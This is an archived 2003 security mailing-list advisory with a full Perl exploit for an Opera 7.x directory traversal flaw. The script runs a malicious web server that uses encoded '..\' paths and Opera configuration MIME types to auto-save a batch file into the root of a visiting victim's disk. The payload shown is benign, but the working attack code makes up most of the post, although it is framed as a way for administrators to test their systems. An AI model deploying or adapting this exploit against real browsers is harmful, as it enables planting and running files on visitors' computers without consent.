[EXPL] Opera File Creation and Execution Exploit (Malicious Web Server)

From: SecuriTeam (support_at_securiteam.com)
Date: 11/23/03

  • Next message: SecuriTeam: "[EXPL] WebFS Long File Overflow Exploit"
    To: list@securiteam.com
    Date: 23 Nov 2003 12:50:07 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Opera File Creation and Execution Exploit (Malicious Web Server)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/exploits/6W00J2K8UI.html> Opera Skinned and
    Opera Directory Traversal (Exploit), an exploit has been provided to allow
    an administrator to test his system for the mentioned Opera
    vulnerabilities.

    The following exploit code creates a special web server that can also be
    used to test your Opera installation for the mentioned vulnerability.

    DETAILS

    Vulnerable systems:
     * Opera version 7.22 and prior

    Exploit:
    #!/usr/bin/perl
    ##################################################
    #
    # Sample code of
    # "[Opera 7] Arbitrary File Auto-Saved Vulnerability."
    #
    # This Exploit will run a web server that will create and execute a batch
    # file on the victim's computer when visiting this malicious server
    #
    # This perl script is a small HTTP server for a check of the
    vulnerability.
    # BTW, you can exploit this vulnerability without a server like this
    # if your apache or etc., allow a request URL that contains '..'.
    #
    # Tested on :
    # Opera 7.22
    # Opera 7.21
    # Opera 7.20
    # Opera 7.1X
    # Opera 7.0X
    #
    # with Active Perl 5.8.0 on Windows 2000 Pro SP4 JP.
    # (maybe need Perl 5.6 or later)
    #
    # Usage :
    # [0] Execute "perl this_script 10080" on a console,
    # this server starts to listen in port 10080.
    # [1] Opera opens "http://127.0.0.1:10080/".
    # [2] Click link.
    # [3] Auto-saved an arbitrary file on a root directory
    # of Local Disk ...
    #
    # 2003/11/15
    # written by nesumin <nesumin softhome net>
    # public on www.k-otik.com
    #
    ###################################################
    use HTTP::Daemon;
    use HTTP::Status;

    use constant URL =>
    '..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C_opera_.bat';

    use constant FILE_CONTENT => qq~\@echo off\x0D\x0Aecho "Love & Peace
    :-)"\x0D\x0A\@pause~;
    use constant RES_HEADERS => qw(Pragma no-cache Connection close);
    use constant REUSE => 1;
    use constant VIEW_DATA => 0;

    my @MIMETYPES = qw(
    application/x-opera-configuration-keyboard
    application/x-opera-configuration-menu
    application/x-opera-configuration-mouse
    application/x-opera-configuration-toolbar
    application/x-opera-configuration-skin
    application/x-opera-skin
    );
    my $port = ($ARGV[0] || 10080) + 0;
    die("port is not correct") unless (0 < $port && $port < 65536);

    my $daemon = new HTTP::Daemon(LocalPort=>$port, Reuse=>REUSE)
    or die("HTTP::Daemon->new() error : $!.\n");
    select(STDERR);
    printf("[*] server started on %d.\n", $daemon->sockport());

    while (my $ccon = $daemon->accept()) {
    printf("[*] incoming client : from %s:%d(%08X).\n",
     inet_ntoa($ccon->peeraddr()), $ccon->peerport(), $ccon);
    if (my $req = $ccon->get_request()) {
     print("\n[*] request received...\n", map{" >> $_\n"}
      ($req->as_string() =~ /^([^\r\n]+)/mg)) if (VIEW_DATA);
     if ($req->method eq 'GET') {
      my $url = URL;
      my $res = new HTTP::Response(200, 'OK', new HTTP::Headers(RES_HEADERS));
      $res->protocol("HTTP/1.0");
      if ($req->url->path eq '/') {
       $res->header('Content-type'=>'text/html');
       $res->content(qq~Click here~);
      
      } else {

       my $mimetype = $MIMETYPES[rand(@MIMETYPES)];
       if ($req->header('User-Agent')=~m~Opera[\s+/]((\d\.\d)\d)~i){
        # Opera 7.0x
        if ($2 eq "7.0") {
         $url .= '*.zip';# '*' is a special char :-)
         $mimetype = $MIMETYPES[$#MIMETYPES];
        # Opera 7.22
        } elsif ($1 eq "7.22") {
         $mimetype = $MIMETYPES[rand(@MIMETYPES-2)];
        }
       }

       $res->header('Content-type'=>$mimetype);
       $res->content(FILE_CONTENT);
      }
      $ccon->send_response($res);
      print("\n[*] response sent...\n", map{" >> $_\n"}
       ($res->as_string() =~ /^([^\r\n]+)/mg)) if (VIEW_DATA);
     } else {
      $ccon->send_error(RC_METHOD_NOT_ALLOWED);
     }
    }
    printf("[*] client closed : from %s:%d (%08X).\n",
     inet_ntoa($ccon->peeraddr()), $ccon->peerport(), $ccon);
    $ccon->close();
    undef($ccon);
    }
    print("[*] server closed.\n");
    $daemon->close();
    undef($daemon);

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:nesumin@softhome net>
    nesumin.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] WebFS Long File Overflow Exploit"

    Relevant Pages

    • [NEWS] Opera HREF Escaped Server Name Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The Opera browser exhibits a failure when rendering HTML. ...
      (Securiteam)
    • [NEWS] Opera Software Opera Web Browser URL Parsing Heap Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Opera Software Opera Web Browser URL Parsing Heap Overflow ... Opera has addressed this vulnerability with version 9.02 of the Opera Web ...
      (Securiteam)
    • [NEWS] Opera Telnet URI Handler File Creation/Truncation Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Exploitation of an input validation vulnerability within Opera Software ... Under Windows XP, when telnet.exe is executed with the '-f' ... The vulnerability has been addressed in Opera 7.50. ...
      (Securiteam)
    • [NEWS] Opera Stored Cross Site Scripting Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Opera browser is vulnerable to stored Cross Site Scripting. ... Opera History Search Page Generation: ...
      (Securiteam)
    • [NT] Opera Software Opera Web Browser BitTorrent Dangling Pointer Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Opera Software Opera Web Browser BitTorrent Dangling Pointer Vulnerability ...
      (Securiteam)